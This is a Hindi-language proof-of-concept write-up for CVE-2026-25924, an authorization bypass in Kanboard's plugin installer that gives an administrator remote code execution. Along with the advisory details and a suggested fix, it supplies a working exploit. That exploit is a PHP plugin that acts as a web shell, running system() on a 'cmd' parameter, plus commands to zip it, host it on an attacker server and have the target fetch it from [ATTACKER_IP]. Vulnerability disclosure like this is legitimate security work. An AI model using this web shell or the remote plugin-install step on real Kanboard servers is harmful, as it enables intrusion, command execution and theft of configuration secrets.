
CVE-2026-25924 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Kanboard में प्लगइन इंस्टॉलेशन पर एक्सेस कंट्रोल जांच की कमी के माध्यम से प्रशासनिक रिमोट कोड निष्पादन को प्रदर्शित करता है।
सुरक्षा नियंत्रण बायपास के माध्यम से प्रशासनिक RCE के लिए प्रूफ-ऑफ-कॉन्सेप्ट
प्रकटीकरण: मूल रूप से मेरे द्वारा GHSA-grch-p7vf-vc4f के माध्यम से रिपोर्ट किया गया
⚠️ केवल अधिकृत पेंटेस्टिंग/अनुसंधान उपयोग के लिए।
| फ़ील्ड | मान |
|---|
| CVE ID | CVE-2026-25924 |
| गंभीरता | 🔴 उच्च |
| CVSS स्कोर | 8.4 |
| CVSS वेक्टर | [CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H] |
| CWE | CWE-863: गलत प्राधिकरण |
| प्रभावित उत्पाद | Kanboard ≤ 1.2.49 |
| पैच किया गया संस्करण | 1.2.50 |
| परामर्श | GHSA-grch-p7vf-vc4f |
Kanboard v1.2.49 में एक सुरक्षा नियंत्रण बायपास भेद्यता एक प्रमाणित व्यवस्थापक को पूर्ण रिमोट कोड निष्पादन (RCE) प्राप्त करने की अनुमति देती है। हालाँकि एप्लिकेशन PLUGIN_INSTALLER कॉन्फ़िगरेशन को false पर सेट होने पर प्लगइन इंस्टॉलेशन इंटरफ़ेस को सही ढंग से छिपाता है, अंतर्निहित बैकएंड एंडपॉइंट इस सुरक्षा सेटिंग को सत्यापित करने में विफल रहता है। एक हमलावर इस चूक का फायदा उठाकर सर्वर को एक दुर्भावनापूर्ण प्लगइन डाउनलोड और इंस्टॉल करने के लिए मजबूर कर सकता है, जिससे मनमाना कोड निष्पादन हो सकता है।


Kanboard दूरस्थ URL से प्लगइन्स इंस्टॉल करने की क्षमता को प्रतिबंधित करने के लिए एक सुरक्षा स्थिरांक PLUGIN_INSTALLER का उपयोग करता है। इसे app/constants.php में परिभाषित किया गया है:
फ़ाइल: app/constants.php
21: defined('PLUGIN_INSTALLER') or define('PLUGIN_INSTALLER', strtolower(getenv('PLUGIN_INSTALLER')) === 'true'); // Disabled by default for security reasons
एप्लिकेशन PluginController के UI रेंडरिंग विधियों, जैसे show() और directory() में Installer::isConfigured() का उपयोग करके इस सेटिंग को सही ढंग से जांचता है:
फ़ाइल: app/Controller/PluginController.php
22: public function show()
23: {
...
28: 'is_configured' => Installer::isConfigured(),
29: )));
30: }
हालाँकि, उसी नियंत्रक में install() विधि यह जांच करने में विफल रहती है। यह प्लगइन डाउनलोड और इंस्टॉल करने से पहले केवल CSRF टोकन को मान्य करता है, जो archive_url पैरामीटर में प्रदान किए गए किसी भी URL से होता है।
app/Controller/PluginController.php में कमजोर कोड:
56: public function install()
57: {
58: $this->checkCSRFParam();
59: $pluginArchiveUrl = urldecode($this->request->getStringParam('archive_url'));
60:
61: try {
62: $installer = new Installer($this->container);
63: $installer->install($pluginArchiveUrl); // <--- VULNERABILITY: Missing check for Installer::isConfigured()
64: $this->flash->success(t('Plugin installed successfully.'));
65: } catch (PluginInstallerException $e) {
66: $this->flash->failure($e->getMessage());
67: }
68:
69: $this->response->redirect($this->helper->url->to('PluginController', 'show'));
70: }
चूंकि Installer::install() भी PLUGIN_INSTALLER स्थिरांक की जांच नहीं करता है, एक व्यवस्थापक केवल एक मान्य CSRF टोकन के साथ एंडपॉइंट तक सीधे पहुंचकर इच्छित प्रतिबंध को बायपास कर सकता है। एक बार इंस्टॉल होने के बाद, दुर्भावनापूर्ण प्लगइन स्वचालित रूप से Kanboard\Core\Plugin\Loader द्वारा लोड और निष्पादित किया जाता है, जिससे हमलावर को पूर्ण RCE मिलता है।
Plugin.php फ़ाइल के साथ Exploit नामक एक निर्देशिका बनाएं:
<?php
namespace Kanboard\Plugin\Exploit;
use Kanboard\Core\Plugin\Base;
class Plugin extends Base {
public function initialize() {
// Web shell listener
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
}
}
फ़ोल्डर को संपीड़ित करें और इसे हमलावर-नियंत्रित सर्वर पर होस्ट करें:
zip -r exploit.zip Exploit/
python3 -m http.server 80

Kanboard में व्यवस्थापक के रूप में लॉग इन करें। पेज स्रोत से अपना csrf_token प्राप्त करें और नेविगेट करें:
http://[TARGET_IP]:8080/?controller=PluginController&action=install&archive_url=http://[ATTACKER_IP]/exploit.zip&csrf_token=[YOUR_TOKEN]

मनमाना सिस्टम कमांड निष्पादित करने के लिए cmd पैरामीटर का उपयोग करें:
http://[TARGET_IP]:8080/?controller=DashboardController&action=show&cmd=id


यह भेद्यता एक व्यवस्थापक को होस्ट-लगाए गए सुरक्षा प्रतिबंधों को बायपास करने की अनुमति देती है। RCE प्राप्त करके, हमलावर यह कर सकता है:
/etc/passwd, config.php)।app/Controller/PluginController.php में install() और update() विधियों की शुरुआत में Installer::isConfigured() के लिए एक जांच जोड़ें:
if (! Installer::isConfigured()) {
throw new AccessForbiddenException();
}